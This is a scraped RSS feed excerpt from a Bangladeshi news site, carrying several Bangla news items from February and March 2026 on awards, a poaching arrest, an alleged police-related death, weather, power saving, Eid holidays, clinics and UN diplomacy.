আজ বৃহস্পতিবার অতিরিক্ত সচিব মো. হুমায়ুন কবিরের (কমিটি ও অর্থনৈতিক) সই করা এক প্রজ্ঞাপনে বেগম খালেদা জিয়াসহ ২০ জনকে এ বছর ‘স্বাধীনতা পুরস্কার’ দেওয়ার সিদ্ধান্ত জানানো হয়।

উল্লেখ্য, সর্বোচ্চ রাষ্ট্রীয় পুরস্কার হিসেবে ‘স্বাধীনতা দিবস পুরস্কার’ ১৯৭৭ সাল থেকে চালু হয়। স্বাধীনতা দিবস পুরস্কার বা স্বাধীনতা পুরস্কার বাংলাদেশ সরকার কর্তৃক প্রদত্ত সর্বোচ্চ বেসামরিক সম্মাননা পদক।

১৯৭১ সালের বাংলাদেশের স্বাধীনতা যুদ্ধের বীর শহীদদের স্মরণে ১৯৭৭ সাল থেকে প্রতি বছর বাংলাদেশের স্বাধীনতা দিবস ২৬ মার্চ এই পদক প্রদান করা হয়ে আসছে।

]]>
https://www.dhakaskynews.com/bangladesh/2026/03/05/News_ID-5743/feed/ 0
স্বামী কারাগারে, লজ্জায় তালাক দিলেন স্ত্রী https://www.dhakaskynews.com/bangladesh/2026/03/05/News_ID-5706/ https://www.dhakaskynews.com/bangladesh/2026/03/05/News_ID-5706/#respond Thu, 05 Mar 2026 09:19:47 +0000 https://www.dhakaskynews.com/?p=5706 বরগুনার পাথরঘাটায় বন্যপ্রাণী নিধনের মতো অপরাধে জড়িয়ে পড়ায় ক্ষুব্ধ হয়ে স্বামীকে তালাক দিয়েছেন স্ত্রী। চাঞ্চল্যকর এ ঘটনা এখন এলাকায় টপ অব দ্য টাউনে পরিণত হয়েছে।
মঙ্গলবার (৩ মার্চ) দুপুরে তালাকের নোটিশ পাঠান শাহীনুর বেগম (৪০)। সোমবার রাতে দুটি জবাই করা হরিণসহ মো. হানিফ (৪৫) গ্রেফতার হন।
বন বিভাগ সূত্রে জানা গেছে, সোমবার রাতে পাথরঘাটা সদর ইউনিয়নের বাদুরতলা খাল এলাকায় ঝটিকা অভিযান চালায় বন রক্ষীরা। এ সময় একটি ইঞ্জিনচালিত ট্রলার থেকে দুটি জবাই করা হরিণ ও ৯টি বিশেষ ফাঁদসহ হাতেনাতে গ্রেফতার করা হয় মো. হানিফকে। তিনি পাথরঘাটা সদর ইউনিয়নের হাঁড়িটানা গ্রামের বাসিন্দা হলেও দীর্ঘদিন ধরে পৌর শহরের ৭ নম্বর ওয়ার্ডে বসবাস করে আসছিলেন।
গ্রেফতারের পর হানিফকে পাথরঘাটা সিনিয়র জুডিশিয়াল ম্যাজিস্ট্রেট আদালতে হাজির করা হলে বিচারক মো. পনির শেখ তাকে এক বছরের বিনাশ্রম কারাদণ্ড ও ৫০ হাজার টাকা জরিমানা করেন। জরিমানা অনাদায়ে তাকে আরও এক মাস কারাদণ্ডের আদেশ দেন।
আদালতের নির্দেশে জব্দ হরিণের চামড়া ও শিং সরকারিভাবে সংরক্ষণ করা হয়েছে এবং মাংস কেরোসিন মিশিয়ে মাটিচাপা দেওয়া হয়েছে।
হানিফার এই অপরাধমূলক কর্মকাণ্ডে সামাজিকভাবে লজ্জিত হন তার স্ত্রী শাহীনুর বেগম। তিনি জানান, হানিফা আগে সাগরে মাছ ধরতেন। কিন্তু সম্প্রতি তিনি অসাধু উপায়ে হরিণ শিকারে জড়িয়ে পড়েন। পরিবারের পক্ষ থেকে বারবার নিষেধ করা সত্ত্বেও তিনি কর্ণপাত করেননি।
বন বিভাগের পাথরঘাটা সদর বিট কার্যালয়ে মালির কাজ করেন শাহীনুরের ছোট ভাই জহিরুল ইসলাম। ক্ষোভ প্রকাশ করে তিনি বলেন, হানিফের এই অবৈধ কারবারের কারণে বন বিভাগে কাজ করা আমার পক্ষে দুরূহ হয়ে পড়ছিল। সূত্র: যুগান্তর

]]>
https://www.dhakaskynews.com/bangladesh/2026/03/05/News_ID-5706/feed/ 0
পুলিশের লাথিতে আসামির বাবার মৃত্যুর অভিযোগ https://www.dhakaskynews.com/bangladesh/2026/03/05/News_ID-5698/ https://www.dhakaskynews.com/bangladesh/2026/03/05/News_ID-5698/#respond Thu, 05 Mar 2026 09:16:57 +0000 https://www.dhakaskynews.com/?p=5698 নওগাঁর মহাদেবপুরে পুলিশের লাথিতে আসামির বাবা আব্দুল হামিদ ধলা (৬৬) নামে এক বৃদ্ধের মৃত্যুর অভিযোগ উঠেছে।
বুধবার (৪ মার্চ) রাতে উপজেলার হাতুড় ইউনিয়নের মালাহার উত্তরপাড়া গ্রামে এ ঘটনা ঘটে।
স্থানীয়রা জানান, মহাদেবপুর থানার উপ-পরিদর্শক (এসআই) আসাদুজ্জামান, সহকারী উপ-পরিদর্শক (এএসআই) আছির উদ্দিন সঙ্গীয় ফোর্সসহ গ্রেফতারি পরোয়ানা মূলে আব্দুল হামিদের ছেলে এমরান হোসেনকে গ্রেফতার করতে বুধবার রাতে উত্তরপাড়া গ্রামে যান। পুলিশের উপস্থিতি টের পেয়ে এমরান হোসেন পালিয়ে যান। ইমরানকে না পেয়ে পুলিশ তার বাবা আব্দুল হামিদকে জোরপূর্বক ধরে নেওয়ার চেষ্টা করেন। আব্দুল হামিদের মা হালিমা বেওয়া (৮৫) ছেলেকে ছেড়ে দেওয়ার জন্য পুলিশের পা ধরলেও পুলিশ তাকে ধাক্কা মেরে ফেলে দেন।

আব্দুল হামিদের নাতি রিপন (১২) বলেন, রাতে ৫ জন পুলিশ এসে আমার দাদাকে জোরপূর্বক ধরে নেওয়ার চেষ্টা করে। এ সময় পুলিশ আমার দাদাকে লাথি মারলে তিনি মাটিতে পড়ে যান। সেখান থেকে উঠার চেষ্টা করে আবারও পড়ে যান তিনি এবং ওই অবস্থায় মৃত্যুবরণ করেন তিনি।
আব্দুল হামিদের মা হালিমা বেওয়া জানান, ছেলেকে ছেড়ে দেওয়ার জন্য তিনি পুলিশের পা ধরলে পুলিশ তাকে ধাক্কা মেরে ফেলে দেয়।
নাম প্রকাশে অনিচ্ছুক কয়েকজন প্রত্যক্ষদর্শী জানান, আব্দুল হামিদের নামে কোনো অভিযোগ বা মামলা নেই। ছেলে ইমরান হোসেনকে বাড়ি থেকে পালিয়ে যেতে সাহায্য করেছে এমন অভিযোগে পুলিশ তাকে আটক করে নেওয়ার চেষ্টা করে। এ সময় পুলিশ তাকে লাথি মারলে সেখানে তিনি পড়ে যান এবং মৃত্যুবরণ করেন। অবস্থা বেগতিক দেখে পুলিশ অন্য আরেক ওয়ারেন্টভুক্ত আসামি এসলামকে গ্রেফতার না করে ছেড়ে দিয়ে সেখান থেকে পালিয়ে যায়।
ওই গ্রামের মৃত ধলা বক্সের ছেলে আসামি এসলাম জানান, রাত ১টার দিকে কয়েকজন পুলিশ তার বাড়িতে ঢুকে তার বিরুদ্ধে ওয়ারেন্ট আছে জানিয়ে গ্রেফতারের চেষ্টা করে। এ সময় আইডি কার্ডের সঙ্গে তার নামের বানানের মিল না থাকায় তাকে আদালত থেকে জামিনের পরামর্শ দেয়।
মহাদেবপুর থানার ওসি মো. শহিদুল ইসলাম তাদের বিরুদ্ধে অভিযোগ অস্বীকার করে বলেন, পুলিশ আসামি ধরতে গিয়েছিল ঠিকই কিন্তু নামে মিল না থাকায় আসামি এসলামকে ছেড়ে দেওয়া হয়। অন্য আসামি ইমরান হোসেনকে না পেয়ে তার বাবা আব্দুল হামিদকে এসলামের বাড়ি দেখানোর জন্য ডেকেছিলেন। সেখানে হৃদরোগে আক্রান্ত হয়ে আব্দুল হামিদ মারা যান। পুলিশ তাকে কোনো আঘাত করেনি।
পুলিশ সুপার মোহাম্মদ তারিকুল ইসলাম বলেন, আব্দুল হামিদ হৃদরোগে আক্রান্ত হয়ে মারা গেছেন। তারপরও পুলিশের বিরুদ্ধে যদি কোনো অভিযোগ থাকে তদন্ত সাপেক্ষে প্রয়োজনীয় ব্যবস্থা নেবেন বলে জানান তিনি। সূত্র : যুগান্তর

]]>
https://www.dhakaskynews.com/bangladesh/2026/03/05/News_ID-5698/feed/ 0
ঈদের দিনের আবহাওয়া নিয়ে দুঃসংবাদ https://www.dhakaskynews.com/bangladesh/2026/03/05/News_ID-5690/ https://www.dhakaskynews.com/bangladesh/2026/03/05/News_ID-5690/#respond Thu, 05 Mar 2026 09:13:15 +0000 https://www.dhakaskynews.com/?p=5690 পবিত্র ঈদুল ফিতরের দিন ও ঈদের পূর্বের দিন বাংলাদেশের উপর দিয়ে শক্তিশালী কালবৈশাখী ঝড়, শিলাবৃষ্টি ও তীব্র বজ্রপাত অতিক্রম করার প্রবল আশঙ্কা রয়েছে।
বৃহস্পতিবার (৫ মার্চ) দুপুর পৌনে ১টায় ভেরিফায়েড ফেসবুক আইডিতে দেওয়া স্ট্যাটাসে এ দুঃসংবাদ জানান আবহাওয়াবিদ মোস্তফা কামাল পলাশ।
তিনি লিখেন, ‘ঈদের দিন ও ঈদের পূর্বের দিন পুরো বাংলাদেশের উপর দিয়ে শক্তিশালী কালবৈশাখী ঝড়, শিলাবৃষ্টি ও তীব্র বজ্রপাত অতিক্রম করার প্রবল আশঙ্কা করা যাচ্ছে। বিশেষ করে আগামী ১৬, ১৭ ও ১৮ মার্চ এই ৩ দিন বাংলাদেশের উপরে দিয়ে শক্তিশালী কালবৈশাখী ঝড় অতিক্রম করার প্রবল আশঙ্কা করা যাচ্ছে।’
উল্লিখিত সময়কালে বাংলাদেশ এবং ভারতের পশ্চিমবঙ্গ, আসাম, মেঘালয় ও ত্রিপুরা রাজ্যের উপর দিয়ে শক্তিশালী কালবৈশাখী ঝড়, শিলাবৃষ্টি এবং তীব্র বজ্রপাত অতিক্রম করার প্রবল সম্ভাবনা রয়েছে।
এই বিষয়ে অধিকাংশ আবহাওয়া পূর্বাভাস মডেল মোটামুটি একমত। তবে ঠিক কোন দিন কোন বিভাগের উপর দিয়ে এবং দিন বা রাতের কোন সময়ে ঝড় অতিক্রম করবে, সে বিষয়ে এখনই নিশ্চিতভাবে বলতে পারেননি আবহাওয়াবিদ মোস্তফা কামাল।

]]>
https://www.dhakaskynews.com/bangladesh/2026/03/05/News_ID-5690/feed/ 0
বিদ্যুৎ ব্যবহারে সাশ্রয়ী হতে সকলের প্রতি আহ্বান প্রধানমন্ত্রীর https://www.dhakaskynews.com/bangladesh/2026/03/05/News_ID-5676/ https://www.dhakaskynews.com/bangladesh/2026/03/05/News_ID-5676/#respond Thu, 05 Mar 2026 09:09:07 +0000 https://www.dhakaskynews.com/?p=5676 প্রধানমন্ত্রী তারেক রহমান বিদ্যুৎ ব্যবহারে সাশ্রয়ী হতে সকলের প্রতি আহ্বান জানিয়েছেন।
তিনি নিজেও বিদ্যুৎ ব্যবহারকে সাশ্রয়ী করতে সচিবালয়ে নিজের কক্ষের অর্ধেক লাইট ও শীতাতপ নিয়ন্ত্রণ কমিয়ে দিয়েছেন।
একই সঙ্গে তিনি সকল মন্ত্রণালয় ও প্রতিষ্ঠানকে বিদ্যুৎ ব্যবহারে সাশ্রয়ী হওয়ার পরামর্শ দিয়েছেন।
বৃহস্পতিবার (৫ মার্চ) সকালে প্রধানমন্ত্রীর অতিরিক্ত প্রেস সচিব আতিকুর রহমান রুমন বিষয়টি নিশ্চিত করেন।
তিনি জানান, আজ সকাল ৯টা ১০ মিনিটে প্রধানমন্ত্রী সচিবালয়ে নিজের দফতরে আসেন। তিনি অফিসে এসে নিজের কক্ষের ৫০ শতাংশ লাইটের সুইচ অফ করে দেন এবং এসির বিদ্যুৎ প্রবাহ ২৫ দশমিক ১ মাত্রায় নিয়ে আসেন। এই মাত্রা নিলে বিদ্যুৎ খরচ কম হয়।
শুধু তাই নয়, প্রধানমন্ত্রী মন্ত্রিপরিষদ কক্ষে মন্ত্রিসভার বৈঠকে প্রবেশ করেই কক্ষের অর্ধেক লাইট বন্ধ করে দিতে এবং এসির মাত্রা কমিয়ে দিতে বলেন।
সচিবালয়ের ১ নং ভবনটি প্রধানমন্ত্রীর দফতর। এই দফতরে মন্ত্রিপরিষদ বিভাগসহ প্রধানমন্ত্রীর অধীনস্থ বিভিন্ন বিভাগ রয়েছে।
অতিরিক্ত প্রেস সচিব আরো জানান, প্রধানমন্ত্রীর এই ব্যক্তিক্রমী উদ্যোগের পরে তাঁর দফতরের সব কক্ষে তাৎক্ষনিকভাবে অর্ধেক লাইট বন্ধ এবং এসির মাত্রা কমানো হয়।
প্রধানমন্ত্রী সচিবালয়ের সকল মন্ত্রণালয়, সারাদেশে সরকারি অফিস-আদালত, বেসরকারি ভবন, শপিংমল, বিপনী বিতানসহ বিভিন্ন প্রতিষ্ঠানে বিদ্যুৎ ব্যবহারে সাশ্রয়ী হতে সকলের প্রতি আহ্বান জানান।
একইসঙ্গে তিনি লাইট কম ব্যবহার করে দিনের বেলা অফিস বা বাড়ি-ঘরের জানালার পর্দা সরিয়ে সূর্যের আলো ব্যবহারের জন্যও সকলকে পরামর্শ দেন।

]]>
https://www.dhakaskynews.com/bangladesh/2026/03/05/News_ID-5676/feed/ 0
ঈদের ছুটি বাড়ল https://www.dhakaskynews.com/bangladesh/2026/03/05/News_ID-5668/ https://www.dhakaskynews.com/bangladesh/2026/03/05/News_ID-5668/#respond Thu, 05 Mar 2026 08:31:37 +0000 https://www.dhakaskynews.com/?p=5668 পবিত্র ঈদুল ফিতর উপলক্ষে পূর্বঘোষিত ছুটির পাশাপাশি ১৮ মার্চও ছুটির সিদ্ধান্ত নিয়েছে সরকার।
বৃহস্পতিবার (৫ মার্চ) সচিবালয়ে প্রধানমন্ত্রী তারেক রহমানের সভাপতিত্বে অনুষ্ঠিত মন্ত্রিসভার বৈঠকে এ প্রস্তাব উপস্থাপন করা হলে তা অনুমোদন দেওয়া হয়। ১৭ মার্চ পবিত্র শবে কদরের ছুটি হওয়ার কথা। এর ফলে এবার কার্যত ছুটি হবে ১৭ থেকে ২৩ মার্চ মোট সাত দিন।
সভা শেষে সাধারণ ছুটির অনুমোদনের বিষয়টি সাংবাদিকদের নিশ্চিত করেছেন প্রাথমিক ও গণশিক্ষা প্রতিমন্ত্রী ববি হাজ্জাজ। তিনি বলেন, ‘প্রথম সংসদ অধিবেশন নিয়ে আলোচনা হয়েছে। এছাড়া ১৮ মার্চ থেকে ঈদের ছুটির অনুমোদন দেওয়া হয়।’
চলতি বছর রমজান মাস ৩০ দিন ধরে ২১ মার্চ ঈদুল ফিতরের সাধারণ ছুটি নির্ধারণ করে রেখেছে সরকার। ঈদুল ফিতরের আগে-পরে ১৯ ও ২০ মার্চ এবং ২২ ও ২৩ মার্চ চার দিন নির্বাহী আদেশে ছুটি ঘোষণা করা আছে।
ঈদের ছুটি শুরুর আগের দিন ১৭ মার্চ (মঙ্গলবার) শবে কদরের সরকারি ছুটি। এরপর ১৮ মার্চ (বুধবার) অফিস খোলা। তবে আজ মন্ত্রিপরিষদে ১৮ মার্চ সাধারণ ছুটির অনুমোদন পাওয়ায় নতুন করে আরও একদিন ছুটি যোগ হলো। সব মিলে টানা সাত দিনের ছুটি পাচ্ছেন সরকারি কর্মকর্তা-কর্মচারীরা।
এদিকে ঈদের এই ছুটি শেষে ২৪ ও ২৫ মার্চ ছুটি ম্যানেজ করতে পারলে সরকারি কর্মকর্তা-কর্মচারীরা টানা ১২ দিনের ছুটি পাবেন। কেননা ২৬ মার্চ (বৃহস্পতিবার) স্বাধীনতা দিবসের সাধারণ ছুটির সঙ্গে ২৭ ও ২৮ মার্চ শুক্র ও শনিবার সাপ্তাহিক ছুটি রয়েছে।

]]>
https://www.dhakaskynews.com/bangladesh/2026/03/05/News_ID-5668/feed/ 0
দেশের সব সরকারি পরিত্যক্ত ভবন চিকিৎসাকেন্দ্র করার নির্দেশ প্রধানমন্ত্রীর https://www.dhakaskynews.com/bangladesh/2026/02/28/News_ID-5613/ https://www.dhakaskynews.com/bangladesh/2026/02/28/News_ID-5613/#respond Sat, 28 Feb 2026 12:43:10 +0000 https://www.dhakaskynews.com/?p=5613
সরকারি বিভিন্ন মন্ত্রণালয় ও সংস্থার পরিত্যক্ত ভবনগুলো চিহ্নিত করে সেগুলোকে স্বাস্থ্য ও পরিবার কল্যাণ মন্ত্রণালয়ের অধীনে নিয়ে স্বাস্থ্যকেন্দ্র করার নির্দেশনা দিয়েছেন প্রধানমন্ত্রী তারেক রহমান।
বুধবার (৪ মার্চ) দুপুরে সচিবালয়ে প্রধানমন্ত্রীর দপ্তরে স্বাস্থ্যমন্ত্রী, প্রতিমন্ত্রী, উপদেষ্টা এবং স্বাস্থ্য বিশেষজ্ঞদের সঙ্গে এক বৈঠকে এ নির্দেশনা দেন সরকারপ্রধান।
প্রধানমন্ত্রীর অতিরিক্ত প্রেস সচিব আতিকুর রহমান রুমন এ তথ্য জানিয়েছেন।
তিনি জানান, বৈঠকে সরকারি বিভিন্ন মন্ত্রণালয় ও সংস্থার পরিত্যক্ত ভবনগুলো চিহ্নিত করে সেগুলোকে স্বাস্থ্য ও পরিবার কল্যাণ মন্ত্রণালয়ের অধীনে নিয়ে ক্লিনিক ও চিকিৎসাকেন্দ্র করার বিষয়েও আলোচনা হয়েছে।
রুমন জানান, শুধুমাত্র এলজিইডির পরিত্যক্ত ভবন রয়েছে ১৭০টি। প্রধানমন্ত্রী বলেছেন- সরকারি ও এর অধীনস্থ বিভিন্ন প্রতিষ্ঠানের যে পরিত্যক্ত ভবনগুলো রয়েছে, সেগুলো ক্লিনিক ও চিকিৎসাকেন্দ্র হিসেবে গড়ে তুলতে হবে। এ ব্যাপারে তিনি মন্ত্রণালয়কে প্রয়োজনীয় নির্দেশনা দিয়েছেন।
অতিরিক্ত প্রেস সচিব বলেন, প্রধানমন্ত্রী ই-হেলথ কার্ড চালুর কাজ শুরু করতে স্বাস্থ্যমন্ত্রীকে যথাযথ নির্দেশনা দিয়েছেন। সরকারের নীতি হচ্ছে চিকিৎসাসেবা জনগণের দোরগোড়ায় পৌঁছে দেওয়া। এ ব্যাপারে মন্ত্রণালয়কে আরও সক্রিয় হওয়ার নির্দেশ দিয়েছেন প্রধানমন্ত্রী।
বৈঠকে স্বাস্থ্যমন্ত্রী সরদার মো. সাখাওয়াত হোসেন, প্রতিমন্ত্রী এমএ মুহিতসহ সরকারের ঊর্ধ্বতন কর্মকর্তারা উপস্থিত ছিলেন| সূত্র: যুগান্তন
]]>
https://www.dhakaskynews.com/bangladesh/2026/02/28/News_ID-5613/feed/ 0
জাতিসংঘের নির্বাচনে বাংলাদেশকে সমর্থনের আশ্বাস কয়েকটি মুসলিম দেশের https://www.dhakaskynews.com/bangladesh/2026/02/27/News_ID-5598/ https://www.dhakaskynews.com/bangladesh/2026/02/27/News_ID-5598/#respond Fri, 27 Feb 2026 11:40:57 +0000 https://www.dhakaskynews.com/?p=5598 জাতিসংঘ সাধারণ পরিষদের ৮১তম অধিবেশনের সভাপতি পদে নির্বাচনে বাংলাদেশের প্রার্থিতার প্রতি পূর্ণ সমর্থন জানিয়েছে সৌদি আরব, পাকিস্তান, তুরস্ক, ফিলিস্তিনসহ বেশ কয়েকটি মুসলিম দেশ।
শুক্রবার জেদ্দায় ওআইসির জরুরি অধিবেশনের ফাঁকে পররাষ্ট্রমন্ত্রী খলিলুর রহমান এসব দেশের কূটনীতিকদের সঙ্গে বৈঠক করেন। এ সময় মুসলিম দেশগুলোর কূটনীতিকরা বাংলাদেশের প্রতি তাদের সমর্থনের কথা জানান।
পররাষ্ট্র মন্ত্রণালয় সূত্রে জানা যায়, পাকিস্তানের উপপ্রধানমন্ত্রী ও পররাষ্ট্রমন্ত্রী ইসহাক দার, সৌদি আরবের উপপররাষ্ট্রমন্ত্রী ওয়ালিদ আল এলখেরেজি, তুরস্কের উপপররাষ্ট্রমন্ত্রী মুসা কুলাকিলিকায়া, ফিলিস্তিনের পররাষ্ট্রমন্ত্রী ভারসেন আগাবেকিয়ান এবং গাম্বিয়ার পররাষ্ট্রমন্ত্রী সেরিং মোদাও বাংলাদেশকে সমর্থন জানানোর বিষয়ে আশ্বাস দেন।
পররাষ্ট্র মন্ত্রণালয় বিজ্ঞপ্তিতে জানিয়েছে, জেদ্দায় ইসলামি সহযোগিতা সংস্থার (ওআইসি) ফিলিস্তিনবিষয়ক জরুরি বৈঠকের ফাঁকে পররাষ্ট্রমন্ত্রী অংশগ্রহণকারী বিভিন্ন গুরুত্বপূর্ণ প্রতিনিধিদলের নেতাদের সঙ্গে দ্বিপক্ষীয় বৈঠক করেন এবং পারস্পরিক স্বার্থসংশ্লিষ্ট বিষয় নিয়ে আলোচনা করেন।
জুনে অনুষ্ঠেয় জাতিসংঘ সাধারণ পরিষদের ৮১তম অধিবেশনের সভাপতি পদে নির্বাচনে বাংলাদেশের প্রার্থী হিসেবে সরকার পররাষ্ট্রমন্ত্রী খলিলুর রহমানকে মনোনীত করেছে।
পররাষ্ট্র মন্ত্রণালয়ের বিজ্ঞপ্তিতে জানানো হয়েছে, ওআইসি প্রতিনিধিদলগুলোর নেতারা বাংলাদেশ জাতীয়তাবাদী দলের ব্যাপক বিজয় ও বাংলাদেশের প্রধানমন্ত্রী হিসেবে দায়িত্ব গ্রহণ করায় প্রধানমন্ত্রী তারেক রহমানকে আন্তরিক অভিনন্দন জানান। তারা আশা প্রকাশ করেন যে প্রধানমন্ত্রীর দক্ষ নেতৃত্বে বাংলাদেশ দ্রুত রাজনৈতিক স্থিতিশীলতা অর্জন করবে এবং উন্নয়ন ত্বরান্বিত হবে। তারা ফিলিস্তিন ইস্যুতে বাংলাদেশের অবিচল অঙ্গীকারেরও প্রশংসা করেন।
এতে আরও বলা হয়, বৈঠকে বিভিন্ন দেশের নেতারা জাতিসংঘ সাধারণ পরিষদের ৮১তম অধিবেশনের সভাপতিত্বের জন্য বাংলাদেশের প্রার্থিতার প্রতি পূর্ণ সমর্থন ব্যক্ত করেন।
পাকিস্তানের পররাষ্ট্রমন্ত্রী গত বছর প্রয়াত প্রধানমন্ত্রী খালেদা জিয়ার সঙ্গে তার বৈঠকের কথা উষ্ণতার সঙ্গে স্মরণ করেন। তিনি জানিয়েছেন, পাকিস্তানের প্রধানমন্ত্রী শাহবাজ শরীফ ব্যক্তিগতভাবে প্রধানমন্ত্রী তারেক রহমানকে শুভেচ্ছা জানাতে বাংলাদেশ সফরের প্রত্যাশায় রয়েছেন। পররাষ্ট্রমন্ত্রী ইসহাক দার আশা প্রকাশ করেন যে ঢাকায় নতুন সরকারের অধীনে দুই দেশের সম্পর্ক ধারাবাহিকভাবে উন্নত হবে।

]]>
https://www.dhakaskynews.com/bangladesh/2026/02/27/News_ID-5598/feed/ 0